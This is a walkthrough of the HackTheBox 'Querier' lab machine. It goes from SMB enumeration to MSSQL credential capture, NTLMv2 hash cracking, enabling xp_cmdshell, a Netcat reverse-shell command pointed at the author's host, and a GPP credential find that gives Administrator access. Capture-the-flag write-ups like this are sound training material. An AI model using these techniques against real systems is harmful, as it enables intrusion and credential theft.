Querier- HackTheBox Writeup
The link for this machine is located here: https://app.hackthebox.com/machines/175
In this room, we extract an Excel file from an SMB share and enumerate credentials. From there, we use MSSQL to gain a reverse shell and perform some privilege escalation.
Full Walkthrough
First, we run an Nmap scan to identify the open ports by running it with the following parameters:
-p- for all ports
10.10.10.125 for the target IP
-oN allports.scan to output to a file
This reveals a ton of ports open. Typically, the higher end ports (47,000 >) are not important for CTFs so I will focus on every port up to 5985.
With this, we can scan these ports to gather more information about the services running.
This reveals that SMB is running, a MSSQL server is running, and WinRM is enabled as well on port 5985. With this information, we can start by enumerating the SMB service by first running a tool like SMBMap to gather information.
This returns no information to us. What happens if we try and provide a dummy username?
We get an authentication error - it doesn’t look like SMBMap will work. Next, we can try and use a more manual tool like smbclient to connect without providing a password and see if we can list the shares:
We can and it reveals an interesting directory in the share titled “Reports”. Next, we can try and connect to that share:
It works again and we are able to see an XLSM file hiding in there. We can download this file using the “get” command through SMB to enumerate it further.
If we didn’t know what an XLSM file is, we could Google it and find out it is a macro-enabled spreadsheet for Excel - interesting.
This means it probably has macros doing something inside it. For me, it’s a dangerous idea to open an Excel document with macros in general, even through CTFs like HackTheBox so I was able to find a CLI tool to be able to extract the macros without opening it - Oletools.
To use it, we simply run “olevba” and provide the XLSM file.
There is a lot of code here, but the most important line is the connections line where it provides a UID of reporting and a password of this random string - this could be potential credentials for the SQL server as indicated by the rest of the code.
With this, we can try and use mssqlclient.py to connect using these new found credentials via windows authentication methods:
And we get a SQL shell. Immediately, my thought is to try and enabled the dangerous xp_cmdshell module:
Unfortunately, we do not have the permissions to do that. We have to find another way.
Doing some further research on MSSQL enumeration using PayloadAllTheThings, we find that there is a function that allows it to list files in an SMB share and we can grab the NTLMv2 hash - got your gears turning?
Immediately, when we hear SMB and NTLMv2 hash, I think of running Responder to grab the shares as it connects to a fake SMB share that we can host.
To do this, we first run responder on our tun0 interface to listen for these hashes.
Then, we use the xp_dirtree command and specify a fake share on our Linux machine called nothere as it will try to connect to it.
Once it attempts to connect, Responder will grab the NTLMv2 hash for the mssql-svc account.
With this hash, we can paste it into a file.
Then, we can run Hashcat on it with the rockyou.txt wordlist to attempt to crack this password hash.
After a few minutes, it returns with a resulting cleartext password of corporate568 for the mssql-svc account.
My first thought is password reuse. Are we able to login to SMB via CrackMapExec using these credentials?
We are not, but it does provide us the name and domain which is nice. How about trying SMBMap again with these new credentials?
No luck either. Finaly thought, what about using Evil-WinRM to try and get a shell?
Unfortunately, another authorization error. No luck anywhere. However, what about the service it came from - MSSQL? If we try and log back into the MSSQL server using these new credentials, we may have more privileges since it looks like the service owner.
We successfully login. What happens if we now try to execute the xp_cmdshell again? It will return an error saying that it is not enabled - this is much better.
This means we can enable it and then utilize it. To enable it, we can write the following commands:
EXEC sp_configure ‘show advanced options’,1;
RECONFIGURE;
EXEC spconfigure ‘xp_cmdshell’,1;
RECONFIGURE
Now, we can utilize it to execute system commands like whoami.
Now it’s getting exciting! From here, we can utilize Netcat to spawn a reverse shell. First, we copy nc.exe to our directory and spin up an SMB share hosting the nc.exe file.
Then, we start a Netcat listener on port 443.
Finally, we can execute nc.exe through our SMB share and tell it to give us a shell back:
xp_cmdshell \\10.10.14.39\share\nc.exe -e cmd.exe 10.10.14.39 443
However, this produces an error telling us SMB1 is unsafe. To fix this, we can simply run the SMB server with smb2support to make it more safe, according to Windows which could help the system from being attacked (oh, the irony!).
Once started, we run the Netcat command again.
And hopefully we get a shell this time.
And we do! We now have a shell running as that mssql-svc user. From here, it’s time to escalate privileges again.
I wanted to run winPEAS to automate this process so we need to first check if .NET Framework 4.0 or greater is installed on the system by going to C:\Windows\Microsoft.NET\Framework.
And as we can see there is a directory for v4.0.30319 which means it is likely installed - winPEAS is a go! From here, we can also query the system to see if we need the 32 or 64-bit version of winPEAS.
It’s a 64-bit system, so we can download the 64-bit version of winPEAS from the GitHub.
Once downloaded, we can start a Python server to host winPEAS for our target.
Then, on the target machine, we can use certutil to download the file to a directory like C:\Users\Public\Documents.
Interestingly, we get an access is denied error. I tried doing this command in 10+ directories, but it always returned access is denied - something weird was going on.
To understand what is wrong, we can spawn a PowerShell session by typing “powershell.exe” and try the same command as PowerShell gives way too much information in its errors.
And there’s the culprit! It’s not an authorization issue, but rather an antivirus issue.
With this, it looks like executables are out of the picture, but we can still utilize other tools like PowerUp.ps1 to enumerate information - hopefully.
Once again, we copy it and host an SMB server with SMB2 support.
Then, we use the xcopy function in PowerShell to download the file from our SMB server.
This time it works!. Now, we can import this PS1 script into PowerShell by typing “. .\PowerUp.ps1”.
Once imported, we can run the Invoke-AllChecks command to see what it gets for us.
A little while down, we can see it returns some credentials for what looks like an Unattended Installation. These credentials were found through the GPP files.
Knowing that these credentials are probably valid considering they are part of a group policy, we can try and login through the WinRM service we identified with Nmap by utilizing Evil-WinRM.
And we get a shell as the Administrator user. From here, all that is left to do is grab our user.txt and root.txt flags for submission and completion of this box.
